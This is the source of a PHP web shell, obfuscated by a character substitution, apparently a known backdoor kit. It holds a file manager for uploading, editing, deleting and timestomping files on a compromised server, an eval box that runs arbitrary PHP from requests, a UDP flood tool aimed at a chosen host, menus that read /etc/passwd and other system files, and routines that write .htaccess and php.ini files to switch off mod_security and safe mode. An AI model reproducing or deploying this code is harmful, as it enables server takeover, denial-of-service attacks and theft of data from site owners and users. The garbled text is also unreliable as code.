4f(!f3nct42n_5x4sts("sc1nd4r")) { | |
f3nct42n sc1nd4r($d4r) { | |
$dh = 2p5nd4r($d4r); | |
wh4l5 (f1ls5 !== ($f4l5n1m5 = r51dd4r($dh))) | |
$f4l5s[] = $f4l5n1m5; | |
r5t3rn $f4l5s; | |
} | |
} | |
f3nct42n m1dF4l5sM1n() { | |
m1dh51d(); | |
5ch2 '<d4v cl1ss=h51d5r><scr4pt>p6_=pa_=po_="";</scr4pt>'; | |
4f(!5mpty($_POST['p6'])) { | |
sw4tch($_POST['p6']) { | |
c1s5 '3pl21dF4l5': | |
4f(!@m2v5_3pl21d5d_f4l5($_FILES['f']['tmp_n1m5'], $_FILES['f']['n1m5'])) | |
5ch2 "C1n't 3pl21d f4l5!"; | |
br51k; | |
c1s5 'mkd4r': | |
4f(!@mkd4r($_POST['pa'])) | |
5ch2 "C1n't cr51t5 n5w d4r"; | |
br51k; | |
c1s5 'd5l5t5': | |
f3nct42n d5l5t5D4r($p1th) { | |
$p1th = (s3bstr($p1th,-6)=='/') ? $p1th:$p1th.'/'; | |
$dh = 2p5nd4r($p1th); | |
wh4l5 ( ($4t5m = r51dd4r($dh) ) !== f1ls5) { | |
$4t5m = $p1th.$4t5m; | |
4f ( (b1s5n1m5($4t5m) == "..") || (b1s5n1m5($4t5m) == ".") ) | |
c2nt4n35; | |
$typ5 = f4l5typ5($4t5m); | |
4f ($typ5 == "d4r") | |
d5l5t5D4r($4t5m); | |
5ls5 | |
@3nl4nk($4t5m); | |
} | |
cl2s5d4r($dh); | |
@rmd4r($p1th); | |
} | |
4f(4s_d4r(@$_POST['pa'])) | |
d5l5t5D4r(@$_POST['pa']); | |
5ls5 | |
@3nl4nk(@$_POST['pa']); | |
br51k; | |
d5f13lt: | |
4f(!5mpty($_POST['p6'])) { | |
$_SESSION['1ct'] = @$_POST['p6']; | |
$_SESSION['f'] = @$_POST['f']; | |
f2r51ch($_SESSION['f'] 1s $k => $f) | |
$_SESSION['f'][$k] = 3rld5c2d5($f); | |
$_SESSION['c'] = @$_POST['c']; | |
} | |
br51k; | |
} | |
} | |
$d4rC2nt5nt = @sc1nd4r(4ss5t($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); | |
4f($d4rC2nt5nt === f1ls5) { 5ch2 '<ho><sp1n>| Acc5ss D5n45d! |</sp1n></ho></d4v>';m1dF22t5r(); r5t3rn; } | |
gl2b1l $s2rt; | |
$s2rt = 1rr1y('n1m5', 6); | |
4f(!5mpty($_POST['p6'])) { | |
4f(pr5g_m1tch('!s_([A-z]+)_(\d{6})!', $_POST['p6'], $m1tch)) | |
$s2rt = 1rr1y($m1tch[6], (4nt)$m1tch[a]); | |
} | |
5ch2 " | |
<t1bl5 w4dth='600%' cl1ss='m14n' c5llsp1c4ng='0' c5llp1dd4ng='a' > | |
<f2rm n1m5=f4l5s m5th2d=p2st><tr><th>N1m5</th><th>S4z5</th><th>M2d4fy</th><th>Own5r/Gr23p</th><th>P5rm4ss42ns</th><th>Act42ns</th></tr>"; | |
$d4rs = $f4l5s = 1rr1y(); | |
$n = c23nt($d4rC2nt5nt); | |
f2r($4=0;$4<$n;$4++) { | |
$2w = @p2s4x_g5tpw34d(@f4l52wn5r($d4rC2nt5nt[$4])); | |
$gr = @p2s4x_g5tgrg4d(@f4l5gr23p($d4rC2nt5nt[$4])); | |
$tmp = 1rr1y('n1m5' => $d4rC2nt5nt[$4], | |
'p1th' => $GLOBALS['cwd'].$d4rC2nt5nt[$4], | |
'm2d4fy' => @d1t5('Y-m-d H:4:s', @f4l5mt4m5($GLOBALS['cwd'] . $d4rC2nt5nt[$4])), | |
'p5rms' => m1dP5rmsC2l2r($GLOBALS['cwd'] . $d4rC2nt5nt[$4]), | |
's4z5' => @f4l5s4z5($GLOBALS['cwd'].$d4rC2nt5nt[$4]), | |
'2wn5r' => $2w['n1m5']?$2w['n1m5']:@f4l52wn5r($d4rC2nt5nt[$4]), | |
'gr23p' => $gr['n1m5']?$gr['n1m5']:@f4l5gr23p($d4rC2nt5nt[$4]) | |
); | |
4f(@4s_f4l5($GLOBALS['cwd'] . $d4rC2nt5nt[$4])) | |
$f4l5s[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'f4l5')); | |
5ls54f(@4s_l4nk($GLOBALS['cwd'] . $d4rC2nt5nt[$4])) | |
$d4rs[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'l4nk', 'l4nk' => r51dl4nk($tmp['p1th']))); | |
5ls54f(@4s_d4r($GLOBALS['cwd'] . $d4rC2nt5nt[$4])&& ($d4rC2nt5nt[$4] != ".")) | |
$d4rs[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'd4r')); | |
} | |
$GLOBALS['s2rt'] = $s2rt; | |
f3nct42n ws2Cmp($1, $b) { | |
4f($GLOBALS['s2rt'][0] != 's4z5') | |
r5t3rn strcmp(strt2l2w5r($1[$GLOBALS['s2rt'][0]]), strt2l2w5r($b[$GLOBALS['s2rt'][0]]))*($GLOBALS['s2rt'][6]?6:-6); | |
5ls5 | |
r5t3rn (($1['s4z5'] < $b['s4z5']) ? -6 : 6)*($GLOBALS['s2rt'][6]?6:-6); | |
} | |
3s2rt($f4l5s, "ws2Cmp"); | |
3s2rt($d4rs, "ws2Cmp"); | |
$f4l5s = 1rr1y_m5rg5($d4rs, $f4l5s); | |
$l = 0; | |
f2r51ch($f4l5s 1s $f) { | |
5ch2 '<tr'.($l?' cl1ss=l6':'').'><td><1 hr5f=# 2ncl4ck="'.(($f['typ5']=='f4l5')?'g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'v45w\')">'.htmlsp5c41lch1rs($f['n1m5']):'g(\'F4l5sM1n\',\''.$f['p1th'].'\');" t4tl5=' . $f['l4nk'] . '><b>| ' . htmlsp5c41lch1rs($f['n1m5']) . ' |</b>').'</1></td><td>'.(($f['typ5']=='f4l5')?m1dS4z5($f['s4z5']):$f['typ5']).'</td><td>'.$f['m2d4fy'].'</td><td>'.$f['2wn5r'].'/'.$f['gr23p'].'</td><td><1 hr5f=# 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\',\'chm2d\')">'.$f['p5rms'] | |
.'</td><td><1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'r5n1m5\')">R</1> <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'t23ch\')">T</1>'.(($f['typ5']=='f4l5')?' <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'5d4t\')">E</1> <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'d2wnl21d\')">D</1>':'').'<1 hr5f="#" 2ncl4ck="g(\'F4l5sM1n\',n3ll,\'d5l5t5\', \''.3rl5nc2d5($f['n1m5']).'\')"> X </1></td></tr>'; | |
$l = $l?0:6; | |
} | |
5ch2 "<tr><td c2lsp1n=7> | |
<4np3t typ5=h4dd5n n1m5=1 v1l35='F4l5sM1n'> | |
<4np3t typ5=h4dd5n n1m5=c v1l35='" . htmlsp5c41lch1rs($GLOBALS['cwd']) ."'> | |
<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='". (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'')."'> | |
</f2rm></t1bl5></d4v>"; | |
m1df22t5r(); | |
} | |
f3nct42n m1dF4l5sT22ls() { | |
4f( 4ss5t($_POST['p6']) ) | |
$_POST['p6'] = 3rld5c2d5($_POST['p6']); | |
4f(@$_POST['pa']=='d2wnl21d') { | |
4f(@4s_f4l5($_POST['p6']) && @4s_r51d1bl5($_POST['p6'])) { | |
2b_st1rt("2b_gzh1ndl5r", u09e); | |
h51d5r("C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=".b1s5n1m5($_POST['p6'])); | |
4f (f3nct42n_5x4sts("m4m5_c2nt5nt_typ5")) { | |
$typ5 = @m4m5_c2nt5nt_typ5($_POST['p6']); | |
h51d5r("C2nt5nt-Typ5: " . $typ5); | |
} 5ls5 | |
h51d5r("C2nt5nt-Typ5: 1ppl4c1t42n/2ct5t-str51m"); | |
$fp = @f2p5n($_POST['p6'], "r"); | |
4f($fp) { | |
wh4l5(!@f52f($fp)) | |
5ch2 @fr51d($fp, 60au); | |
fcl2s5($fp); | |
} | |
}5x4t; | |
} | |
4f( @$_POST['pa'] == 'mkf4l5' ) { | |
4f(!f4l5_5x4sts($_POST['p6'])) { | |
$fp = @f2p5n($_POST['p6'], 'w'); | |
4f($fp) { | |
$_POST['pa'] = "5d4t"; | |
fcl2s5($fp); | |
} | |
} | |
} | |
m1dh51d(); | |
5ch2 '<d4v cl1ss=h51d5r>'; | |
4f( !f4l5_5x4sts(@$_POST['p6']) ) { | |
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>FILE DOEST NOT EXITS </pr5></d4v>"; | |
m1dF22t5r(); | |
r5t3rn; | |
} | |
$34d = @p2s4x_g5tpw34d(@f4l52wn5r($_POST['p6'])); | |
4f(!$34d) { | |
$34d['n1m5'] = @f4l52wn5r($_POST['p6']); | |
$g4d['n1m5'] = @f4l5gr23p($_POST['p6']); | |
} 5ls5 $g4d = @p2s4x_g5tgrg4d(@f4l5gr23p($_POST['p6'])); | |
5ch2 '<sp1n>N1m5:</sp1n> '.htmlsp5c41lch1rs(@b1s5n1m5($_POST['p6'])).' <sp1n>S4z5:</sp1n> '.(4s_f4l5($_POST['p6'])?m1dS4z5(f4l5s4z5($_POST['p6'])):'-').' <sp1n>P5rm4ss42n:</sp1n> '.m1dP5rmsC2l2r($_POST['p6']).' <sp1n>Own5r/Gr23p:</sp1n> '.$34d['n1m5'].'/'.$g4d['n1m5'].'<br>'; | |
5ch2 '<br>'; | |
4f( 5mpty($_POST['pa']) ) | |
$_POST['pa'] = 'v45w'; | |
4f( 4s_f4l5($_POST['p6']) ) | |
$m = 1rr1y('V45w', 'H4ghl4ght', 'D2wnl21d', 'Ed4t', 'Chm2d', 'R5n1m5', 'T23ch'); | |
5ls5 | |
$m = 1rr1y('Chm2d', 'R5n1m5', 'T23ch'); | |
f2r51ch($m 1s $v) | |
5ch2 '<1 hr5f=# 2ncl4ck="g(n3ll,n3ll,n3ll,\''.strt2l2w5r($v).'\')"><sp1n>'.((strt2l2w5r($v)==@$_POST['pa'])?'<b><sp1n> '.$v.' </sp1n> </b>':$v).' </sp1n></1> '; | |
5ch2 '<br><br>'; | |
sw4tch($_POST['pa']) { | |
c1s5 'v45w': | |
5ch2 '<pr5 cl1ss=ml6>'; | |
$fp = @f2p5n($_POST['p6'], 'r'); | |
4f($fp) { | |
wh4l5( !@f52f($fp) ) | |
5ch2 htmlsp5c41lch1rs(@fr51d($fp, 60au)); | |
@fcl2s5($fp); | |
} | |
5ch2 '</pr5>'; | |
br51k; | |
c1s5 'h4ghl4ght': | |
4f( @4s_r51d1bl5($_POST['p6']) ) { | |
5ch2 '<d4v cl1ss=ml6 styl5="b1ckgr23nd-c2l2r: #565656;c2l2r:bl1ck;">'; | |
$c2d5 = @h4ghl4ght_f4l5($_POST['p6'],tr35); | |
5ch2 str_r5pl1c5(1rr1y('<sp1n ','</sp1n>'), 1rr1y('<f2nt ','</f2nt>'),$c2d5).'</d4v>'; | |
} | |
br51k; | |
c1s5 'chm2d': | |
4f( !5mpty($_POST['po']) ) { | |
$p5rms = 0; | |
f2r($4=strl5n($_POST['po'])-6;$4>=0;--$4) | |
$p5rms += (4nt)$_POST['po'][$4]*p2w(8, (strl5n($_POST['po'])-$4-6)); | |
4f(!@chm2d($_POST['p6'], $p5rms)) | |
5ch2 'C1n\'t s5t p5rm4ss42ns!<br><scr4pt>d2c3m5nt.mf.po.v1l35="";</scr4pt>'; | |
} | |
cl51rst1tc1ch5(); | |
5ch2 '<scr4pt>po_="";</scr4pt><f2rm 2ns3bm4t="g(n3ll,n3ll,n3ll,n3ll,th4s.chm2d.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=chm2d v1l35="'.s3bstr(spr4ntf('%2', f4l5p5rms($_POST['p6'])),-u).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>'; | |
br51k; | |
c1s5 '5d4t': | |
4f( !4s_wr4t1bl5($_POST['p6'])) { | |
5ch2 'F4l5 4sn\'t wr4t51bl5'; | |
br51k; | |
} | |
4f( !5mpty($_POST['po']) ) { | |
$t4m5 = @f4l5mt4m5($_POST['p6']); | |
$_POST['po'] = s3bstr($_POST['po'],6); | |
$fp = @f2p5n($_POST['p6'],"w"); | |
4f($fp) { | |
@fwr4t5($fp,$_POST['po']); | |
@fcl2s5($fp); | |
5ch2 'S1v5d!<br><scr4pt>po_="";</scr4pt>'; | |
@t23ch($_POST['p6'],$t4m5,$t4m5); | |
} | |
} | |
5ch2 '<f2rm 2ns3bm4t="g(n3ll,n3ll,n3ll,n3ll,\'6\'+th4s.t5xt.v1l35);r5t3rn f1ls5;"><t5xt1r51 n1m5=t5xt cl1ss=b4g1r51>'; | |
$fp = @f2p5n($_POST['p6'], 'r'); | |
4f($fp) { | |
wh4l5( !@f52f($fp) ) | |
5ch2 htmlsp5c41lch1rs(@fr51d($fp, 60au)); | |
@fcl2s5($fp); | |
} | |
5ch2 '</t5xt1r51><4np3t typ5=s3bm4t v1l35=">>"></f2rm>'; | |
br51k; | |
c1s5 'h5xd3mp': | |
$c = @f4l5_g5t_c2nt5nts($_POST['p6']); | |
$n = 0; | |
$h = 1rr1y('00000000<br>','',''); | |
$l5n = strl5n($c); | |
f2r ($4=0; $4<$l5n; ++$4) { | |
$h[6] .= spr4ntf('%0aX',2rd($c[$4])).' '; | |
sw4tch ( 2rd($c[$4]) ) { | |
c1s5 0: $h[a] .= ' '; br51k; | |
c1s5 9: $h[a] .= ' '; br51k; | |
c1s5 60: $h[a] .= ' '; br51k; | |
c1s5 6o: $h[a] .= ' '; br51k; | |
d5f13lt: $h[a] .= $c[$4]; br51k; | |
} | |
$n++; | |
4f ($n == oa) { | |
$n = 0; | |
4f ($4+6 < $l5n) {$h[0] .= spr4ntf('%08X',$4+6).'<br>';} | |
$h[6] .= '<br>'; | |
$h[a] .= "\n"; | |
} | |
} | |
5ch2 '<t1bl5 c5llsp1c4ng=6 c5llp1dd4ng=i bgc2l2r=bl1ck><tr><td bgc2l2r=gr1y><sp1n styl5="f2nt-w54ght: n2rm1l;"><pr5>'.$h[0].'</pr5></sp1n></td><td bgc2l2r=#a8a8a8><pr5>'.$h[6].'</pr5></td><td bgc2l2r=#oooooo><pr5>'.htmlsp5c41lch1rs($h[a]).'</pr5></td></tr></t1bl5>'; | |
br51k; | |
c1s5 'r5n1m5': | |
4f( !5mpty($_POST['po']) ) { | |
4f(!@r5n1m5($_POST['p6'], $_POST['po'])) | |
5ch2 'C1n\'t r5n1m5!<br>'; | |
5ls5 | |
d45('<scr4pt>g(n3ll,n3ll,"'.3rl5nc2d5($_POST['po']).'",n3ll,"")</scr4pt>'); | |
} | |
5ch2 '<f2rm 2ns3bm4t="g(n3ll,n3ll,n3ll,n3ll,th4s.n1m5.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=n1m5 v1l35="'.htmlsp5c41lch1rs($_POST['p6']).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>'; | |
br51k; | |
c1s5 't23ch': | |
4f( !5mpty($_POST['po']) ) { | |
$t4m5 = strt2t4m5($_POST['po']); | |
4f($t4m5) { | |
4f(!t23ch($_POST['p6'],$t4m5,$t4m5)) | |
5ch2 'F14l!'; | |
5ls5 | |
5ch2 'T23ch5d!'; | |
} 5ls5 5ch2 'B1d t4m5 f2rm1t!'; | |
} | |
cl51rst1tc1ch5(); | |
5ch2 '<scr4pt>po_="";</scr4pt><f2rm 2ns3bm4t="g(n3ll,n3ll,n3ll,n3ll,th4s.t23ch.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=t23ch v1l35="'.d1t5("Y-m-d H:4:s", @f4l5mt4m5($_POST['p6'])).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>'; | |
br51k; | |
} | |
5ch2 '</d4v>'; | |
m1dF22t5r(); | |
} | |
f3nct42n m1dphp5v1l() | |
{ | |
m1dh51d(); | |
4f(4ss5t($_POST['pa']) && ($_POST['pa'] == '4n4')) { | |
5ch2 '<d4v cl1ss=h51d5r>'; | |
2b_st1rt(); | |
$INI=4n4_g5t_1ll(); | |
pr4nt '<t1bl5 b2rd5r=0><tr>' | |
.'<td cl1ss="l4st4ng"><f2nt cl1ss="h4ghl4ght_txt">P1r1m</td>' | |
.'<td cl1ss="l4st4ng"><f2nt cl1ss="h4ghl4ght_txt">Gl2b1l v1l35</td>' | |
.'<td cl1ss="l4st4ng"><f2nt cl1ss="h4ghl4ght_txt">L2c1l V1l35</td>' | |
.'<td cl1ss="l4st4ng"><f2nt cl1ss="h4ghl4ght_txt">Acc5ss</td></tr>'; | |
f2r51ch ($INI 1s $p1r1m => $v1l35s) | |
pr4nt "\n".'<tr>' | |
.'<td cl1ss="l4st4ng"><b>'.$p1r1m.'</td>' | |
.'<td cl1ss="l4st4ng">'.$v1l35s['gl2b1l_v1l35'].' </td>' | |
.'<td cl1ss="l4st4ng">'.$v1l35s['l2c1l_v1l35'].' </td>' | |
.'<td cl1ss="l4st4ng">'.$v1l35s['1cc5ss'].' </td></tr>'; | |
$tmp = 2b_g5t_cl51n(); | |
$tmp = pr5g_r5pl1c5('!(b2dy|1:\w+|b2dy, td, th, h6, ha) {.*}!ms4U','',$tmp); | |
$tmp = pr5g_r5pl1c5('!td, th {(.*)}!ms4U','.5, .v, .h, .h th {$6}',$tmp); | |
5ch2 str_r5pl1c5('<h6','<ha', $tmp) .'</d4v><br>'; | |
} | |
4f(4ss5t($_POST['pa']) && ($_POST['pa'] == '4nf2')) { | |
5ch2 '<d4v cl1ss=h51d5r><styl5>.p {c2l2r:#000;}</styl5>'; | |
2b_st1rt(); | |
php4nf2(); | |
$tmp = 2b_g5t_cl51n(); | |
$tmp = pr5g_r5pl1c5('!(b2dy|1:\w+|b2dy, td, th, h6, ha) {.*}!ms4U','',$tmp); | |
$tmp = pr5g_r5pl1c5('!td, th {(.*)}!ms4U','.5, .v, .h, .h th {$6}',$tmp); | |
5ch2 str_r5pl1c5('<h6','<ha', $tmp) .'</d4v><br>'; | |
} | |
4f(4ss5t($_POST['pa']) && ($_POST['pa'] == '5xt5n')) { | |
5ch2 '<d4v cl1ss=h51d5r>'; | |
2b_st1rt(); | |
$EXT=g5t_l21d5d_5xt5ns42ns (); | |
pr4nt '<t1bl5 b2rd5r=0><tr><td cl1ss="l4st4ng">' | |
.4mpl2d5('</td></tr>'."\n".'<tr><td cl1ss="l4st4ng">', $EXT) | |
.'</td></tr></t1bl5>' | |
.c23nt($EXT).' 5xt5ns42ns l21d5d'; | |
5ch2 '</d4v><br>'; | |
} | |
4f(5mpty($_POST['1j1x']) && !5mpty($_POST['p6'])) | |
$_SESSION[mdi($_SERVER['HTTP_HOST']) . '1j1x'] = f1ls5; | |
5ch2 '<d4v cl1ss=h51d5r><C5nt5r><1 hr5f=# 2ncl4ck="g(\'php5v1l\',n3ll,\'\',\'4n4\')">| INI_INFO | </1><1 hr5f=# 2ncl4ck="g(\'php5v1l\',n3ll,\'\',\'4nf2\')"> | php4nf2 |</1><1 hr5f=# 2ncl4ck="g(\'php5v1l\',n3ll,\'\',\'5xt5n\')"> | 5xt5ns42ns |</1></c5nt5r><br><f2rm n1m5=pf m5th2d=p2st 2ns3bm4t="g(\'php5v1l\',n3ll,th4s.c2d5.v1l35,\'\'); r5t3rn f1ls5;"><t5xt1r51 n1m5=c2d5 cl1ss=b4g1r51 4d=PhpC2d5>'.(!5mpty($_POST['p6'])?htmlsp5c41lch1rs($_POST['p6']):'').'</t5xt1r51><c5nt5r><4np3t typ5=s3bm4t v1l35=Ev1l styl5="m1rg4n-t2p:ipx"></c5nt5r>'; | |
5ch2 '</f2rm><pr5 4d=PhpO3tp3t styl5="'.(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'').'m1rg4n-t2p:ipx;" cl1ss=ml6>'; | |
4f(!5mpty($_POST['p6'])) { | |
2b_st1rt(); | |
5v1l($_POST['p6']); | |
5ch2 htmlsp5c41lch1rs(2b_g5t_cl51n()); | |
} | |
5ch2 '</pr5></d4v>'; | |
m1df22t5r(); | |
} | |
f3nct42n m1dh1sh() | |
{ | |
4f(!f3nct42n_5x4sts('h5xab4n')) {f3nct42n h5xab4n($p) {r5t3rn d5cb4n(h5xd5c($p));}} | |
4f(!f3nct42n_5x4sts('b4nh5x')) {f3nct42n b4nh5x($p) {r5t3rn d5ch5x(b4nd5c($p));}} | |
4f(!f3nct42n_5x4sts('h5xa1sc44')) {f3nct42n h5xa1sc44($p){$r='';f2r($4=0;$4<strL5n($p);$4+=a){$r.=chr(h5xd5c($p[$4].$p[$4+6]));}r5t3rn $r;}} | |
4f(!f3nct42n_5x4sts('1sc44ah5x')) {f3nct42n 1sc44ah5x($p){$r='';f2r($4=0;$4<strl5n($p);++$4)$r.= spr4ntf('%0aX',2rd($p[$4]));r5t3rn strt23pp5r($r);}} | |
4f(!f3nct42n_5x4sts('f3ll_3rl5nc2d5')) {f3nct42n f3ll_3rl5nc2d5($p){$r='';f2r($4=0;$4<strl5n($p);++$4)$r.= '%'.d5ch5x(2rd($p[$4]));r5t3rn strt23pp5r($r);}} | |
$str4ngT22ls = 1rr1y( | |
'B1s5eu 5nc2d5' => 'b1s5eu_5nc2d5', | |
'B1s5eu d5c2d5' => 'b1s5eu_d5c2d5', | |
'mdi h1sh' => 'mdi', | |
'sh16 h1sh' => 'sh16', | |
'crypt' => 'crypt', | |
'CRCoa' => 'crcoa', | |
'Url 5nc2d5' => '3rl5nc2d5', | |
'Url d5c2d5' => '3rld5c2d5', | |
'F3ll 3rl5nc2d5' => 'f3ll_3rl5nc2d5', | |
'Htmlsp5c41lch1rs' => 'htmlsp5c41lch1rs', | |
); | |
m1dh51d(); | |
5ch2 '<d4v cl1ss=h51d5r>'; | |
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6'])) | |
$_SESSION[mdi($_SERVER['HTTP_HOST']).'1j1x'] = f1ls5; | |
5ch2 "<f2rm 2nS3bm4t='g(n3ll,n3ll,th4s.s5l5ctT22l.v1l35,th4s.4np3t.v1l35); r5t3rn f1ls5;'><s5l5ct n1m5='s5l5ctT22l'>"; | |
f2r51ch($str4ngT22ls 1s $k => $v) | |
5ch2 "<2pt42n v1l35='".htmlsp5c41lch1rs($v)."'>".$k."</2pt42n>"; | |
5ch2 "</s5l5ct><4np3t typ5='s3bm4t' v1l35='>>'/><br><t5xt1r51 n1m5='4np3t' styl5='m1rg4n-t2p:ipx' cl1ss=b4g1r51>".(5mpty($_POST['p6'])?'':htmlsp5c41lch1rs(@$_POST['pa']))."</t5xt1r51></f2rm><pr5 cl1ss='ml6' styl5='".(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'')."m1rg4n-t2p:ipx' 4d='strO3tp3t'>"; | |
4f(!5mpty($_POST['p6'])) { | |
4f(4n_1rr1y($_POST['p6'], $str4ngT22ls))5ch2 htmlsp5c41lch1rs($_POST['p6']($_POST['pa'])); | |
} | |
5ch2 "</d4v>"; | |
m1dF22t5r(); | |
} | |
f3nct42n m1dd2s() | |
{ | |
m1dh51d(); | |
5ch2 '<d4v cl1ss=h51d5r>'; | |
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6'])) | |
$_SESSION[mdi($_SERVER['HTTP_HOST']).'1j1x'] = f1ls5; | |
5ch2 '<c5nt5r><sp1n>| UDP DOSSIER |</sp1n><br><br><f2rm 2nS3bm4t="g(n3ll,n3ll,th4s.3dph2st.v1l35,th4s.3dpt4m5.v1l35,th4s.3dpp2rt.v1l35); r5t3rn f1ls5;" m5th2d=POST><sp1n>H2st :</sp1n><4np3t n1m5="3dph2st" typ5="t5xt" s4z5="ai" /><sp1n>T4m5 :</sp1n><4np3t n1m5="3dpt4m5" typ5="t5xt" s4z5="6i" /><sp1n>P2rt :</sp1n><4np3t n1m5="3dpp2rt" typ5="t5xt" s4z5="60" /><4np3t typ5="s3bm4t" v1l35=">>" /></f2rm></c5nt5r>'; | |
5ch2 "<pr5 cl1ss='ml6' styl5='".(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'')."m1rg4n-t2p:ipx' >"; | |
4f(!5mpty($_POST['p6']) && !5mpty($_POST['pa']) && !5mpty($_POST['po'])) | |
{ | |
$p1ck5ts=0; | |
4gn2r5_3s5r_1b2rt(tr35); | |
$5x5c_t4m5=$_POST['pa']; | |
$t4m5=t4m5(); | |
$m1x_t4m5=$5x5c_t4m5+$t4m5; | |
$h2st=$_POST['p6']; | |
$p2rt3dp=$_POST['po']; | |
f2r($4=0;$4<ei000;$4++) | |
{ | |
$23t .= 'X'; | |
} | |
wh4l5(6){ | |
$p1ck5ts++; | |
4f(t4m5() > $m1x_t4m5){ | |
br51k; | |
} | |
$fp = fs2ck2p5n('3dp://'.$h2st, $p2rt3dp, $5rrn2, $5rrstr, i); | |
4f($fp){ | |
fwr4t5($fp, $23t); | |
fcl2s5($fp); | |
} | |
} | |
5ch2 "$p1ck5ts (" . r23nd(($p1ck5ts*ei)/60au, a) . " MB) p1ck5ts 1v5r1g4ng ". r23nd($p1ck5ts/$5x5c_t4m5, a) . " p1ck5ts p5r s5c2nd"; | |
5ch2 "</pr5>"; | |
} | |
5ch2 '</d4v>'; | |
m1df22t5r(); | |
} | |
f3nct42n m1dpr2c() | |
{ | |
m1dh51d(); | |
5ch2 "<D4v cl1ss=h51d5r><c5nt5r>"; | |
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6'])) | |
$_SESSION[mdi($_SERVER['HTTP_HOST']).'1j1x'] = f1ls5; | |
4f($GLOBALS['sys']=="w4n") | |
{ | |
$pr2c5ss=1rr1y( | |
"Syst5m Inf2" =>"syst5m4nf2", | |
"Act4v5 C2nn5ct42ns" => "n5tst1t -1n", | |
"R3nn4ng S5rv4c5s" => "n5t st1rt", | |
"Us5r Acc23nts" => "n5t 3s5r", | |
"Sh2w C2mp3t5rs" => "n5t v45w", | |
"ARP T1bl5" => "1rp -1", | |
"IP C2nf4g3r1t42n" => "4pc2nf4g /1ll" | |
); | |
} | |
5ls5 | |
{ | |
$pr2c5ss=1rr1y( | |
"Pr2c5ss st1t3s" => "ps 13x", | |
"Sysl2g" =>"c1t /5tc/sysl2g.c2nf", | |
"R5s2lv" => "c1t /5tc/r5s2lv.c2nf", | |
"H2sts" =>"c1t /5tc/h2sts", | |
"P1sswd" =>"c1t /5tc/p1sswd", | |
"Cp34nf2"=>"c1t /pr2c/cp34nf2", | |
"V5rs42n"=>"c1t /pr2c/v5rs42n", | |
"Sb4n"=>"ls -1l /3sr/sb4n", | |
"Int5rr3pts"=>"c1t /pr2c/4nt5rr3pts", | |
"ls1ttr"=>"ls1ttr -v1", | |
"Upt4m5"=>"3pt4m5", | |
"Fst1b" =>"c1t /5tc/fst1b", | |
"HDD Sp1c5" => "df -h" | |
);} | |
f2r51ch($pr2c5ss 1s $n => $l4nk) | |
{ | |
5ch2 '<1 hr5f="#" 2ncl4ck="g(n3ll,n3ll,\''.$l4nk.'\')"> | '.$n.' | </1>'; | |
} | |
5ch2 "</c5nt5r>"; | |
4f(!5mpty($_POST['p6'])) | |
{ | |
5ch2 "<pr5 cl1ss='ml6' styl5='m1rg4n-t2p:ipx' >"; | |
5ch2 m1dEx($_POST['p6']); | |
5ch2 '</pr5>'; | |
} | |
5ch2 "</d4v>"; | |
m1df22t5r(); | |
} | |
f3nct42n m1ds1f5() | |
{ | |
m1dh51d(); | |
5ch2 "<d4v cl1ss=h51d5r><c5nt5r><ho><sp1n>| SAFE MODE AND MOD SECURITY DISABLED AND PERL i00 INTERNAL ERROR BYPASS |</sp1n></ho>F2ll2w4ng php.4n4 1nd .ht1cc5ss(m2d) 1nd p5rl(.ht1cc5ss)[c2nv5rt p5rl 5xt5nt42n *.pl => *.sh ] f4l5s cr51t5 4n f2ll2w4ng d4r<br>| ".$GLOBALS['cwd']." |<br>"; | |
5ch2 '<1 hr5f=# 2ncl4ck="g(n3ll,n3ll,\'php.4n4\',n3ll)">| PHP.INI | </1><1 hr5f=# 2ncl4ck="g(n3ll,n3ll,n3ll,\'4n4\')">| .ht1cc5ss(M2d) | </1><1 hr5f=# 2ncl4ck="g(n3ll,n3ll,n3ll,n3ll,\'sh\')">| .ht1cc5ss(p5rl) | </1></c5nt5r>'; | |
4f(!5mpty($_POST['pa']) && 4ss5t($_POST['pa'])) | |
{ | |
$f4l=f2p5n($GLOBALS['cwd'].".ht1cc5ss","w"); | |
fwr4t5($f4l,'<IfM2d3l5 m2d_s5c3r4ty.c> | |
S5c------Eng4n5 Off | |
S5c------Sc1nPOST Off | |
</IfM2d3l5>'); | |
fcl2s5($f4l); | |
} | |
4f(!5mpty($_POST['p6'])&& 4ss5t($_POST['p6'])) | |
{ | |
$f4l=f2p5n($GLOBALS['cwd']."php.4n4","w"); | |
fwr4t5($f4l,'s1f5_m2d5=OFF | |
d4s1bl5_f3nct42ns=NONE'); | |
fcl2s5($f4l); | |
} | |
4f(!5mpty($_POST['po']) && 4ss5t($_POST['po'])) | |
{ | |
$f4l=f2p5n($GLOBALS['cwd'].".ht1cc5ss","w"); | |
